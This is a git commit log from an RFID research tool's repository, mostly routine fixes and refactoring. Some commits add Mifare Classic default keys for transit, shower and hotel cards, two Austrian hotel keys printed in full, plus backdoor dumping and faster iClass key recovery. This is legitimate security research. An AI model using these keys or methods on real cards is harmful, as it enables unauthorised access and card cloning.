2fe01ece80 delete bit32 commands from the script, because Lua 5.4 not support this lib. 2024-11-20 22:17:02 +01:00
Iceman
7e041cc585
Merge pull request #2643 from ANTodorov/spi_flash_v2
refactor spi flash detection
2024-11-20 15:48:17 +01:00
ANTodorov
76aaef96cc
rework addressing the review comments
Reverted 'mfr_id' to 'manufacturer_id'
Moved devices table definition to flashmem.h
Single global variable 'spi_flash_pages64k'
The local structure holding the actual device data is used in firmware.c only

difference in code:
```
   text    data     bss     dec     hex filename
 223189  138560    6067  367816   59cc8 ./armsrc/obj/fullimage.elf <-- c9e751d darkside: fix backdoor support

 223437  138624    6075  368136   59e08 ./armsrc/obj/fullimage.elf <-- this commit
 ======================================
   +248     +64      +8    +320
```
2024-11-20 14:10:02 +02:00
Anton Todorov
3b6530cb92
Merge branch 'RfidResearchGroup:master' into spi_flash_v2 2024-11-20 13:41:57 +02:00
Philippe Teuwen
d3e02092f7 Makefile: display firmware size 2024-11-20 11:13:53 +01:00
iceman1001
dd6d9ea5ee forget to update cmake 2024-11-20 09:44:05 +01:00
iceman1001
86e8792f34 minor textual changes \n and added support for bambu kdf. 2024-11-20 01:49:45 +01:00
Iceman
328c0b5f07
Merge pull request #2645 from onovy/master
Add new Mifare Classic keys from MifareClassicTool project
2024-11-19 23:13:03 +01:00
Ondřej Nový
d6c966ac4b Add new Mifare Classic keys from Flipper project 2024-11-19 22:57:48 +01:00
Ondřej Nový
e205829af2 Add new Mifare Classic keys from MifareClassicTool project. 2024-11-19 22:45:28 +01:00
Iceman
381440f31f
Merge pull request #2644 from Anarchothulhu/master
Added keys to mfc_default_keys.dic from Metro Q cards from Huston, TX.
2024-11-19 18:11:26 +01:00
Korin
5c9783cdc4 Removing duplicate keys. 2024-11-19 10:08:36 -07:00
Korin
a54a59998b Updating CHANGELOG.md to reflect added keys. 2024-11-19 09:50:06 -07:00
Korin
18805ccb01 Added keys to mfc_default_keys.dic from Metro Q cards from Huston, TX. 2024-11-19 09:38:16 -07:00
Iceman
ef43a94d8f
Merge pull request #2641 from ry4000/master
Updated Inner Range AID and Added PT AIDs
2024-11-19 10:46:13 +01:00
ANTodorov
f3fa732062
refactor spi flash detection 2024-11-19 09:35:26 +02:00
ry4000
3c6d126706
Update aid_desfire.json
Fixed typo

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-11-19 08:43:45 +11:00
ry4000
ea7ace0ad2
Update Inner Range AID and Added PT AIDs aid_desfire.json
- Updated Inner Range AID's
 - Vendor to include company's legal name
 - Name for stylisation
- Added DEN MyRide
- Added GDL Mi Movilidad

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-11-19 08:43:26 +11:00
Iceman
fced857f1f
Merge pull request #2639 from ANTodorov/fix_unknown_flash
fix failed spi flash detection
2024-11-18 17:21:12 +01:00
iceman1001
024f7c507f updated with a inner range AU entry 2024-11-18 16:58:15 +01:00
ANTodorov
68e354d7ef
fix failed spi flash detection
fallback to 4 pages when SPI IC is unknown
some code styling
remove some unused code
2024-11-18 11:45:21 +02:00
Iceman
52c46db3db
Merge pull request #2638 from ANTodorov/use_all_flash
use all spi flash v0.1
2024-11-18 09:45:42 +01:00
ANTodorov
51a94d6d51
restore config page (the last page) protection from wiping 2024-11-17 23:56:40 +02:00
ANTodorov
597bfd6d19
fix signature offset in a log message too
hopefully last one (tm)
2024-11-17 22:38:59 +02:00
ANTodorov
d49e1f6af6
remove unused definition 2024-11-17 22:16:43 +02:00
ANTodorov
861c7efd26
fix missing offsets
the data was written, but it should be readable too...
2024-11-17 22:16:35 +02:00
ANTodorov
34e317a9df
address review comments 2024-11-17 22:07:58 +02:00
ANTodorov
48ec109a1e
use all spi flash v0.1
* introduced a new communication command CMD_FLASHMEM_PAGES64K to get the number of 64k pages
* "the last page" is a special, holding the dicts and some other stuff, relocated to there
* raised timeout when wiping a mem page (W25Q16 looks a bit slower than W25X20BV)
* loop all pages in Flash_WipeMemory()
2024-11-17 19:03:15 +02:00
Philippe Teuwen
c9e751d27d darkside: fix backdoor support 2024-11-17 00:23:06 +01:00
Philippe Teuwen
6c8a4972b1 mfd_aes_brute: fix deprecated flags warning & stop showinfo photobombing 2024-11-15 23:04:32 +01:00
iceman1001
3907be8017 fixing the other loop types 2024-11-15 19:28:36 +01:00
iceman1001
669644ce1b fix warning 2024-11-15 17:46:35 +01:00
iceman1001
801c4a15e1 returns 0xFFFF but we assign it to 0xFF.. better to make it clear 2024-11-15 14:58:33 +01:00
iceman1001
2e4d02abc0 len was another type, so to make sure... 2024-11-15 14:58:06 +01:00
iceman1001
37383d86b9 adding of larger than uint8_t value in available gets truncated 2024-11-15 14:51:54 +01:00
iceman1001
3a3ea75d12 style 2024-11-15 14:28:14 +01:00
iceman1001
51ecdeb511 now uses the correct realloc pattern with testing the reallocated pointer before assigning 2024-11-15 14:10:34 +01:00
iceman1001
d398576fc7 the 14a sim had a wrong size check of the irats pointer instead of actual size. Only way around it was to add the length at function call 2024-11-15 13:27:39 +01:00
Iceman
cd96bcfa68
Merge pull request #2636 from piotrva/hf-mf-sim-no-answer-sec-out-of-range
Do not respond to mifare simulation sectors out of bounds
2024-11-15 13:20:34 +01:00
Piotr Rzeszut
a9c10c872e Changed max sector for AUTH to be executed only once and result cached in local variable 2024-11-15 13:13:48 +01:00
Piotr Rzeszut
606c3ac0de Update changelog to include information about fix for hf mf sim command not to respond for auth attempts out of bounds 2024-11-15 02:39:19 +01:00
Piotr Rzeszut
18db45b00e mifare simulation: do not respond for authentication attempts for sectors out of range for selected mifare type
Resolves #2635
2024-11-15 02:32:20 +01:00
iceman1001
133fe505f6 remove debug 2024-11-14 22:14:41 +01:00
Anton Todorov
b6fc000405 revert opensuse-leap docker to default Python 3.6
forgot to revert the opensuse-leap/Dockerfile changes when reworking commit 39c846ada4


Signed-off-by: Anton Todorov <ANTodorov@users.noreply.github.com>
2024-11-14 16:24:48 +01:00
Philippe Teuwen
8602a182bb Added option to build against non-default python3 with CMake as well 2024-11-14 09:31:49 +01:00
ANTodorov
f3e9a79ca4 add option to build against non-default python3 package 2024-11-14 09:01:41 +01:00
Iceman
4a119a73f0
Merge pull request #2629 from pingu2211/hf-mifare-refacor
Style src/mifare/mifarehost
2024-11-14 07:52:32 +01:00
pingu2211
579ea6feb2 Patch mf_write_sector 4k support 2024-11-14 13:21:51 +11:00
Philippe Teuwen
39c846ada4 Limit pyexception code to Python >= 3.10 2024-11-14 01:44:35 +01:00
pingu2211
11becb8e20 make style 2024-11-14 09:35:19 +11:00
pingu2211
514fe677d6 rename all mifarehost functions to match style guide 2024-11-14 09:33:57 +11:00
Iceman
340e63ec25
Merge pull request #2631 from nvx/trace_abort_message
log a message when aborting trace list display
2024-11-13 17:51:40 +01:00
Iceman
ef4cbff857
Merge pull request #2630 from csBlueChip/master
Ability to force MAD decode
2024-11-13 17:50:01 +01:00
nvx
bac1bf05af log a message when aborting trace list display 2024-11-13 21:53:31 +10:00
Philippe Teuwen
9ac59b5819 sigh, now my turn... 2024-11-13 12:23:43 +01:00
Philippe Teuwen
365758ff50 Adding FM1208-10 detection with slightly different block0, thanks @mmm! 2024-11-13 12:21:50 +01:00
BlueChip
0638603354 add --force to core MAD decode 2024-11-13 01:58:33 +00:00
BlueChip
6aadc2ec10 add switch to force MAD decode 2024-11-12 18:40:18 +00:00
Philippe Teuwen
fcca67bf89 No more FM1216-137, or maybe still... 2024-11-12 17:51:17 +01:00
Iceman
b4a3109927
Merge pull request #2628 from Akury83/master
Update to include new style FUID chips, and fix an old nomenclature
2024-11-12 09:48:11 +01:00
iceman1001
b5dcdc61f8 sigh 2024-11-12 09:46:39 +01:00
iceman1001
90836236aa Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2024-11-12 09:42:41 +01:00
iceman1001
69e7613a52 added identification of FM1216-137 cpu cards. Thanks mmm for the insights 2024-11-12 09:42:33 +01:00
Philippe Teuwen
4ec171c317 Adding FM1216-137 detection 2024-11-12 09:41:46 +01:00
Akury83
53e8f56ae2
Update magic cards notes
Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com>
2024-11-12 14:29:29 +11:00
Philippe Teuwen
96f85d38bc some PyStatus 2024-11-11 23:26:27 +01:00
Philippe Teuwen
2562e0b8c9 fix python script color bug 2024-11-11 20:34:14 +01:00
Iceman
ca09f91643
Merge pull request #2625 from Antiklesys/master
Updated hf iclass configcard
2024-11-11 19:18:00 +01:00
iceman1001
c74edafff3 style 2024-11-10 15:09:15 +01:00
iceman1001
3e4ab945f5 fix parameter name and style 2024-11-10 15:08:45 +01:00
Iceman
e676f15b19
Merge pull request #2626 from pingu2211/hf-mifare-refacor
Move and Rename Static Mifare Classic Write Block Function
2024-11-10 14:47:34 +01:00
pingu2211
88587e672c add a write sector helper 2024-11-10 23:40:42 +11:00
pingu2211
dae0ddc6e3 Re-ordered function parameters to match mfReadBlock 2024-11-10 23:40:36 +11:00
pingu2211
821a3066a6 move mfWriteBlock 2024-11-10 23:40:21 +11:00
Philippe Teuwen
60e932f2f7 get python3 scripts running with venv 2024-11-09 01:24:34 +01:00
Antiklesys
c8fd19dd9d Update CHANGELOG.md 2024-11-09 02:33:00 +08:00
Antiklesys
d69e04dcbc Updated hf iclass configcard
Documented and added an extensive list of configcards available and functionalities.
- Led Operations (A8 byte) are now fully documented (up from 2)
- Added : Beep Operations
- Elite Key Operations fully documented (3 up from 2)
-Added potential other bytes pending full documentation / discovery
-To Add: Reader Master Key Operations and Erratic Operations

While initially I was trying to maximise backward compatibility with cardhelper, the way its functions were linked and engrained in the code, caused a constant flow of errors and did not allow the flexibility to easily expand the list of cards. Maintaining that code would lead to creating multiple duplicate functions with no real added value perceived (except increased complexity of the code and difficulty to continue maintaining its  backward compatiblity)
2024-11-09 02:31:39 +08:00
Philippe Teuwen
4e7f512d3b add timing info in hf mf isen --collect... 2024-11-08 01:38:27 +01:00
Philippe Teuwen
0f9cb05182 fix 2024-11-07 23:44:10 +01:00
Philippe Teuwen
7e72a80790 python prompts... 2024-11-07 23:42:02 +01:00
iceman1001
394ed2d711 more colors 2024-11-07 22:17:14 +01:00
Philippe Teuwen
8de4797b30 more colors 2024-11-07 22:10:46 +01:00
iceman1001
96675f41a1 text 2024-11-07 22:00:50 +01:00
iceman1001
bce77f3e2b Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2024-11-07 21:52:17 +01:00
iceman1001
e65a15337e text 2024-11-07 21:52:07 +01:00
Philippe Teuwen
7be2a671c8 python script: add --fast 2024-11-07 21:42:04 +01:00
iceman1001
0778d1aa6b Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2024-11-07 21:36:11 +01:00
iceman1001
32028fd53f minor text 2024-11-07 21:36:02 +01:00
iceman1001
27fee07090 style 2024-11-07 21:34:35 +01:00
Philippe Teuwen
f65639aa3b spaces 2024-11-07 21:14:30 +01:00
Iceman
855bccf5b9
Merge pull request #2623 from Antiklesys/master
Minor hf iclass configcard fixes
2024-11-07 21:09:07 +01:00
Philippe Teuwen
4decf6545d fudanValidate 2024-11-07 20:49:56 +01:00
Philippe Teuwen
e4c283af5e docstrings 2024-11-07 20:24:37 +01:00
Philippe Teuwen
8e43d12e4b still more typos... 2024-11-07 19:37:15 +01:00
Philippe Teuwen
2ef8493cf1 still more typos... 2024-11-07 19:34:42 +01:00
Philippe Teuwen
0fe5825004 lprint: deal with prompt differently 2024-11-07 19:27:51 +01:00
Philippe Teuwen
ea83ce81aa typo 2024-11-07 19:24:44 +01:00
Philippe Teuwen
36c9790902 few fixes 2024-11-07 19:12:37 +01:00
Antiklesys
480b632528 Minor hf iclass configcard fixes
Fixed error messaging that was swapped between card key and keyroll key
2024-11-08 01:57:08 +08:00
Philippe Teuwen
a6c2535e88 python script: add fast dump 2024-11-07 18:01:59 +01:00
Philippe Teuwen
13c8ca76fc python script: added few FIXME 2024-11-07 17:34:56 +01:00
Philippe Teuwen
2293874402 python script: wip, less globals, clearer dataflow 2024-11-07 17:01:35 +01:00
Philippe Teuwen
5e2b093b3e python script: start making changes as discussed in the MR, wip 2024-11-07 14:35:46 +01:00
Philippe Teuwen
d0bd3266f2 python script: making Fluke8 pleased 2024-11-07 14:01:24 +01:00
Iceman
917427cb8c
Merge pull request #2621 from Antiklesys/master
Fixed keygen bug in legrec
2024-11-07 12:59:14 +01:00
Antiklesys
0b7d76d7cd Fixed keygen bug in legrec
Fixed legrec bug that was generating blank keys after misalignment in commit: 110dfab668
2024-11-07 19:20:50 +08:00
Iceman
cf7431c98d
Merge pull request #2613 from csBlueChip/master
Fudan FM11R08* full-card recovery script; with Bambu tag support
2024-11-07 01:38:16 +01:00
BlueChip
f85fbe7120 update licence for proxmark submission 2024-11-06 22:16:19 +00:00
BlueChip
55f8e6ed4b refactor console flushing; make indentation consistent; change the word 'hash' for 'sig'nature 2024-11-06 21:31:58 +00:00
Philippe Teuwen
2c2d1d0c1b fix compiler warning 2024-11-06 18:49:29 +01:00
Iceman
d019477420
Merge pull request #2620 from Antiklesys/master
Improved algorithm for hf iclass legrec
2024-11-06 10:36:31 +01:00
Antiklesys
110dfab668 Improved algorithm for hf iclass legrec
Improved algorithm for hf iclass legrec by taking in account the hash0 limitations for the ending bits distributions of each key bite, thus reducing the key entropy and number of required tries from 2^24 to almost 2^19
2024-11-06 16:52:48 +08:00
Iceman
106de8f3bb
Merge pull request #2619 from Antiklesys/master
Fixed elite configcard generation
2024-11-06 09:44:55 +01:00
Antiklesys
a8204187ab Fixed elite configcard generation
Fixed elite configcard generation. From nfc-iclass and other resources block 13 generation was completely missing.
This resulted in configcards for legacy readers to be working on Rev.A readers but not Rev.C readers when it came to setting elite keys or enabling keyrolling.
2024-11-06 16:38:32 +08:00
Philippe Teuwen
86b8549d2b hf mf ecfill: show dump time 2024-11-06 00:27:33 +01:00
iceman1001
73e5045bcd fix loading nfc files 2024-11-05 22:28:00 +01:00
Philippe Teuwen
46813e0e50 hf mf isen: rewrite counters, add specific NONCE_SUPERSTATIC case (when first nt == nested nt) 2024-11-05 17:07:54 +01:00
Philippe Teuwen
6706bdb13f hf mf isen: detect special static nonce nt_first==nt_nested 2024-11-05 09:30:22 +01:00
Iceman
c0befc416c
Merge pull request #2618 from Einstein2150/patch-2
Update mfc_default_keys.dic
2024-11-04 18:19:48 +01:00
Einstein2150
0d28545fb5
Update mfc_default_keys.dic
added Hotel cards from Austria
AB287B3B4903
7B0DEDA7E162

Signed-off-by: Einstein2150 <Einstein2150@users.noreply.github.com>
2024-11-04 15:47:42 +01:00
Iceman
3402e7f5a8
Merge pull request #2617 from nvx/fix_ssp_clk_tc2_initial_reset_rollover
fix ssp_clk sometimes resetting to 0 shortly after being started or reset
2024-11-04 13:28:46 +01:00
Iceman
b6c493e7b7
Merge pull request #2615 from jmichelp/legic
Start fixing legic script to work with lu5.4
2024-11-04 13:27:07 +01:00
Iceman
e1da024481
Merge pull request #2616 from jmichelp/fix14b
Fix potential overflow in readblock
2024-11-04 13:25:26 +01:00
Iceman
bcf4f6e726
Merge pull request #2614 from jmichelp/master
Some fixes on PIV
2024-11-04 13:24:30 +01:00
nvx
5c195b8a14 fix ssp_clk sometimes resetting to 0 shortly after being started or reset
this could happen if TC2 was already 0 when it was started or reset
resulting in the initial reset not happening until TC0 had overflowed for
the first time as the delay to ensure this didn't happen would be missed
when TC2 was already 0

the new behaviour results in TIOA0 being toggled when a software trigger
of TC0 happens which makes TC2 reset immediately without having to wait
for TC0 to overflow
2024-11-04 22:04:05 +10:00
Jean-Michel Picod
43f6d0bcfd Fix potential overflow in readblock 2024-11-04 12:22:50 +01:00
Jean-Michel Picod
ae1de2c6c8 Start fixing legic script to work with lu5.4 2024-11-04 12:18:37 +01:00
Jean-Michel Picod
68734f4191 Fix some PRI* macro usage. 2024-11-04 11:31:30 +01:00
Jean-Michel Picod
a0214f12d4 Move all integer printing to use PRI* macros
Hopefully will make CodeQL happy this time.
2024-11-04 11:21:53 +01:00
Jean-Michel Picod
b02c6ece26 Fix confusion between base10 and base16 identifiers 2024-11-04 10:00:29 +01:00
Jean-Michel Picod
bb30b9dc8b Make CodeQL happy 2024-11-04 09:52:44 +01:00
Jean-Michel Picod
1dbfb7b3a3 Correctly parse extended length (MistialDev's card) 2024-11-04 09:52:44 +01:00
BlueChip
3e1c21ac83 Fudan FM11R08* full-card recovery script; with Bambu tag support 2024-11-04 02:02:31 +00:00
iceman1001
e544bbc2a7 text 2024-11-03 22:40:20 +01:00
iceman1001
706f1248dd ...if I only actually make sure that the keys are unique before I merge peoples PR... 2024-11-03 22:31:30 +01:00
iceman1001
411f777197 maur 2024-11-03 19:45:19 +01:00
Iceman
a594275ae2
Merge pull request #2610 from nvx/clear_prompt
clear the prompt using ANSI "clear entire line" escape
2024-11-03 07:03:53 +01:00
nvx
690864e970 clear the prompt using ANSI "clear entire line" escape
this replaces the old behaviour of using a fixed length of spaces
which can sometimes fail to clear the entire line if it's too long
2024-11-03 10:57:11 +10:00
iceman1001
3317175a82 style 2024-11-02 15:14:55 +01:00
iceman1001
b3285cce8a style 2024-11-02 15:13:40 +01:00
iceman1001
e23d4ac625 updated deprecated param. Thanks @nvx 2024-11-02 15:10:43 +01:00
iceman1001
81d795e56f fix styles 2024-11-02 14:52:59 +01:00
iceman1001
9ddd833cba fix string handling and styles 2024-11-02 14:50:31 +01:00
Iceman
307012606b
Merge pull request #2609 from nvx/fix_typos
fix typos and regenerate command list
2024-11-02 14:43:52 +01:00
nvx
ef0cf93a5d fix typos and regenerate command list 2024-11-02 23:34:38 +10:00
Iceman
e3a6ab7b4f
Merge pull request #2608 from nvx/hf_mf_c_gdm
add gdm flag to hf mf c* commands
2024-11-02 14:30:04 +01:00
nvx
1157ef0b38 update changelog 2024-11-02 22:24:45 +10:00
nvx
6d7fcc642a add gdm flag to hf mf c* commands
this enables the use of hf mf c* commands with gdm/uscuid cards when the alt wake up mode 20(7)/23 is enabled rather than gen1 wake up
2024-11-02 22:22:13 +10:00
Iceman
60c2446e27
Merge pull request #2607 from nvx/cardhopper_buffered
improve cardhopper to improve reliability when parts of the packet are buffered
2024-11-02 13:08:08 +01:00
nvx
df5e2ce05b improve cardhopper to improve reliability when parts of the packet are buffered 2024-11-02 19:53:23 +10:00
Iceman
5057f1a684
Merge pull request #2606 from shellster/add_jakcom_r5_smart_ring_default_t55x_passwords
Add JAKCOM R5 smart ring t55x default passwords
2024-11-02 09:51:26 +01:00
shellster
91c6d7fe46
Update CHANGELOG.md
Signed-off-by: shellster <zn8v6c3f5nw9@blurmail.net>
2024-11-01 22:19:05 -06:00
shellster
a45f4f02bd upper case 2024-11-01 19:43:27 -06:00
shellster
d0d7bbc5fd remove extra line return 2024-11-01 19:42:50 -06:00
shellster
224ac2fed9 Add JAKCOM R5 smart ring t55x default passwords 2024-11-01 19:39:42 -06:00
Iceman
292b671d1c
Merge pull request #2605 from stuiterveer/numhex
Show correct example for `lf data num --hex`
2024-11-01 16:18:38 +01:00
stuiterveer
08c22a0a5e Show correct example for lf data num --hex 2024-11-01 10:38:51 +01:00
Philippe Teuwen
0b35762b15 fix static enc nonce detection in hf mf info 2024-11-01 00:57:03 +01:00
Iceman
c4c9ce2878
Merge pull request #2604 from stuiterveer/envelope
Fix typo from envelop to envelope
2024-10-31 14:58:18 +01:00
Iceman
af0833aba8
Merge pull request #2603 from gentilkiwi/patch-1
Update intertic.py to support Bourg-en-Bresse & Avignon
2024-10-31 14:57:57 +01:00
Benjamin DELPY
b96637b167
Update intertic.py to support Avignon / Orizo
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2024-10-31 13:20:53 +01:00
stuiterveer
a370673028 Fix typo from envelop to envelope 2024-10-31 13:15:53 +01:00
Benjamin DELPY
d4890d73b4
Update intertic.py to support Bourg-en-Bresse
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2024-10-31 11:03:45 +01:00
Philippe Teuwen
59b6c0353d fm11rf08s_recovery: now usable as main or imported 2024-10-29 23:10:31 +01:00
Iceman
37e6f2dea7
Merge pull request #2602 from stuiterveer/seijsener
Add shower card keys used by Seijsener
2024-10-29 21:20:41 +01:00
Philippe Teuwen
de96479d80 pm3_console() in Python/Lua/C: replace passthru by capture and quiet 2024-10-29 21:13:38 +01:00
stuiterveer
a24c051a28 Add shower card keys used by Seijsener 2024-10-29 14:13:47 +01:00
Iceman
57ec287ab0
Merge pull request #2601 from Antonin-Deniau/patch-1
Fix missing comma in aid_desfire.json
2024-10-29 12:49:42 +01:00
Antonin Deniau
8f0c84300f Handle other typo 2024-10-29 10:40:30 +00:00
Antonin Deniau
fe9819e9e5
Fix missing comma in aid_desfire.json
Signed-off-by: Antonin Deniau <Antonin-Deniau@users.noreply.github.com>
2024-10-29 11:33:26 +01:00
iceman1001
4ca4af16e3 fixed the crc annotations for iclass list. They were a bit too positive 2024-10-28 20:14:33 +01:00
Iceman
3e081d867e
Merge pull request #2600 from stuiterveer/eurest
Add key used by Eurest
2024-10-28 18:11:13 +01:00
stuiterveer
064b4897f2 Add key used by Eurest 2024-10-28 17:43:35 +01:00
Iceman
ec46f46f9b
Merge pull request #2598 from ry4000/master
R&Y: Added Various Student AIDs to aid_desfire.json
2024-10-28 16:08:30 +01:00
Iceman
f9ddb7b3a4
Merge pull request #2599 from douniwan5788/fix_concatbits
fix: concatbits erase out-of-bound
2024-10-28 16:08:08 +01:00
douniwan5788
923e7dced9 fix: concatbits erase out-of-bound 2024-10-28 21:35:55 +08:00
ry4000
f0815ef3a7
R&Y: Added Various Student AIDs to aid_desfire.json
- Various Student AIDs added from various Servers with the help of their respective Members.
- Missing information will be added where possible as a future commit.

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-10-28 18:13:12 +11:00
Iceman
8148f50f76
Merge pull request #2597 from Eltrick/master
hf mfu info - specify reason for failing read
2024-10-28 04:07:14 +01:00
iceman1001
5867026b14 text and minor fix 2024-10-28 03:39:48 +01:00
iceman1001
3338bb21a6 fix some bad divisions, and code style applied 2024-10-28 03:24:52 +01:00
iceman1001
6a9e5a49c3 rename some lua scripts for persistancy 2024-10-28 02:49:45 +01:00
Lucifer Voeltner
95acef16cb
hf mfu info - specify reason for failing read 2024-10-28 08:48:58 +07:00
Iceman
7c4fd9a46a
Merge pull request #2595 from n0emis/hitags-sim-timing
hitagS sim: fix timing of receive
2024-10-28 01:26:02 +01:00
Iceman
1229d7fd93
Merge pull request #2580 from n0emis/hitags-byteorder
lf hitag hts: use correct byteorder for authentication
2024-10-28 01:25:32 +01:00
Iceman
18722b168b
Merge pull request #2596 from xueliu/patch-1
Delete extra whitespace character in mf_backdoor_dump.py
2024-10-28 01:24:09 +01:00
Iceman
6a79c16324
Merge pull request #2593 from Akury83/master
Update to fix some small USCUID-UL errors and add new developments
2024-10-28 01:23:05 +01:00
Iceman
35325c7478
Merge pull request #2590 from libin-ka/patch-3
Update magic_cards_notes.md
2024-10-28 01:21:50 +01:00
Philippe Teuwen
fe361cf30c Fixing experimental_lib/example_lua, thanks @jmichelp ! 2024-10-28 00:48:23 +01:00
Xue Liu
e3c2e86604
Delete extra whitespace character in mf_backdoor_dump.py
Delete the extra whitespace character in mf_backdoor_dump.py. This blank character prevents the for loop from trying the next backdoor key.

Signed-off-by: Xue Liu <liuxuenetmail@gmail.com>
2024-10-27 19:51:23 +01:00
Ember 'n0emis' Keske
843bb46705 hitagS sim: fix timing of receive
probably a regression from timer changes in 911766b
2024-10-27 13:17:42 +01:00
Philippe Teuwen
7fa1a204f4 Add examples to fetch prefs from Lua & Python scripts 2024-10-27 11:20:27 +01:00
Akury83
88385c9b80
Update magic_cards_notes.md
Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com>
2024-10-27 17:21:35 +11:00
Akury83
3ad67077f7
Merge pull request #1 from Akury83/Akury83-patch-1
Update to fix some small USCUID-UL errors and add new developments
2024-10-27 15:51:25 +11:00
Akury83
29a16b1d54
Update to fix some small USCUID-UL errors and add new developments
Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com>
2024-10-27 15:49:35 +11:00
Ember 'n0emis' Keske
612aae8658 lf hitag hts: correct byteorder for authentication 2024-10-26 22:55:02 +02:00
libin-ka
15cf4f60e9
Update magic_cards_notes.md
style

Signed-off-by: libin-ka <46210417+libin-ka@users.noreply.github.com>
2024-10-25 22:10:09 +08:00
Iceman
57d3de2af6
Merge pull request #2589 from douniwan5788/style
style
2024-10-24 13:25:02 +02:00
Iceman
617ae0c42c
Merge pull request #2586 from solletichino999/feature/staticnested
Static nested auto distance measurement for nonces
2024-10-24 13:24:03 +02:00
Simone Spadino
a1ca2fefa2
Merge branch 'RfidResearchGroup:master' into feature/staticnested 2024-10-23 18:18:31 +02:00
Iceman
d2e29b2417
Merge pull request #2581 from Antiklesys/master
iclass updates
2024-10-23 18:00:18 +02:00
Iceman
49ac2339b5
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
2024-10-23 17:59:52 +02:00
Iceman
6de21ed0c3
Merge pull request #2588 from douniwan5788/hts_read_page
fix: Hitag S Read page failed
2024-10-23 17:58:40 +02:00
Simone Spadino
f1614b4c77
Merge branch 'RfidResearchGroup:master' into feature/staticnested 2024-10-23 17:57:52 +02:00
Iceman
9e8a5ab839
Merge pull request #2587 from douniwan5788/hts_resp_protocol
add: support for all Hitag S response protocol mode
2024-10-23 17:55:12 +02:00
Iceman
a2b18ddd22
Merge branch 'master' into hts_resp_protocol
Signed-off-by: Iceman <iceman@iuse.se>
2024-10-23 17:44:07 +02:00
Iceman
bbea76fb2c
Merge pull request #2583 from evildaemond/master
Update cmdhfgallagher.c
2024-10-23 17:37:05 +02:00
Iceman
3aeefde14d
Merge pull request #2582 from jakkpotts/fix-hf_young_syntax
Fixed syntax error in flags declaration in hf_young.c
2024-10-23 17:36:24 +02:00
douniwan5788
f049b568c5 style 2024-10-23 22:25:30 +08:00
douniwan5788
046488664b fix: Hitag S Read page failed 2024-10-23 22:24:53 +08:00
douniwan5788
911766b212 add: support for all Hitag S response protocol mode 2024-10-23 22:08:52 +08:00
Simone Spadino
212f108a91 Auto distance measurement 2024-10-23 11:53:49 +02:00
Philippe Teuwen
3f5266b19a
Merge pull request #2585 from solletichino999/feature/ultimatemagic
Shadow mode support for 06a0 ultimate magic tags
2024-10-23 00:56:29 +02:00
Philippe Teuwen
6e3febdf38
Merge pull request #2584 from solletichino999/feature/staticnested
Static Nested for cards with offset 0
2024-10-23 00:55:22 +02:00
Philippe Teuwen
6034f113ed fm11rf08s_recovery: add support for supply-chain (now shorter json) 2024-10-23 00:43:18 +02:00
Simone Spadino
e22fd8580d Shadow mode support for 06a0 2024-10-23 00:34:58 +02:00
Simone Spadino
c81ef777e3
Merge branch 'RfidResearchGroup:master' into feature/staticnested 2024-10-23 00:25:01 +02:00
Simone Spadino
846937a684 Support for static nonces card with offset 0 2024-10-23 00:24:07 +02:00
Philippe Teuwen
5ff157cb4c fm11rf08s_recovery: add support for supply-chain 2024-10-23 00:10:22 +02:00
Philippe Teuwen
284f0fe9b9 Fix compilation warning on some compilation environments 2024-10-22 15:50:46 +02:00
Adam Jon Foster
70cc7765f3
Update cmdhfgallagher.c
Added CmdGallagherEncode to allow someone to encode their own credentials into a raw and bitwise format without having it go onto a specific technology type.

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-10-21 23:16:05 +08:00
jakkpotts
177be842bd Added changelog entry for fixing syntax on hf_young 2024-10-20 02:51:53 -07:00
jakkpotts
0cd6e950b0 Fixed syntax error in flags declaration in hf_young.c 2024-10-20 02:47:55 -07:00
Antiklesys
4f85def6b0 Check for silicon version in iclass info
Updated hf iclass info to check whether the card's chipset is old silicon (supporting 14b) or new silicon (without the 14b support)
2024-10-20 12:33:25 +08:00
Antiklesys
3c3041cdee
Update CHANGELOG.md
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-10-20 11:25:34 +08:00
Antiklesys
aa2ddcdee3 Merge branch 'master' of https://github.com/Antiklesys/proxmark3 2024-10-20 11:24:10 +08:00
Antiklesys
53dfcc2569 Update CHANGELOG.md 2024-10-20 11:23:12 +08:00
Antiklesys
88364f6a48
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-10-20 11:18:50 +08:00
Antiklesys
d6f8f9db4a Updated hf iclass legrec arm side and added custom key to dictionary
Updated hf iclass legrec arm functionality
Added new custom standard key to the repository

Todo: Improve keygen algorithm efficiency
2024-10-20 11:16:46 +08:00
Philippe Teuwen
41a43bc85c hf mf sim: add option to allow key b to be used even if readable 2024-10-19 20:34:40 +02:00
Philippe Teuwen
838e0adfa7 rework Mifare simulation flags 2024-10-19 20:34:40 +02:00
iceman1001
e1fa9374d0 text and style. Suspect string formatter used "%*.*s" , we normally use "%.*s" 2024-10-19 11:16:22 +02:00
iceman1001
375b1439a1 data num now also properly pad hex converted to binary string operations 02 -> 00000010 -> 11111101 -> 01000000 2024-10-19 06:46:16 +02:00
iceman1001
8c04d9d0c8 data num didnt properly zero pad binary string outputs. It was cutting starting zeros. Those are now handled. Hex output still doesnt handle zero padding 2024-10-19 06:39:43 +02:00
iceman1001
2932fefd82 style define 2024-10-19 06:36:52 +02:00
Philippe Teuwen
5848b31ee1 trace list: don't mix 02x and 02X 2024-10-18 19:44:38 +02:00
Philippe Teuwen
e6876f4b73 mfkey32v2 typo 2024-10-18 19:44:38 +02:00
iceman1001
c8fe7205b4 enhanced the hf iclass info command to try legacy aa1 and if found read out and decode 2024-10-18 19:24:02 +02:00
iceman1001
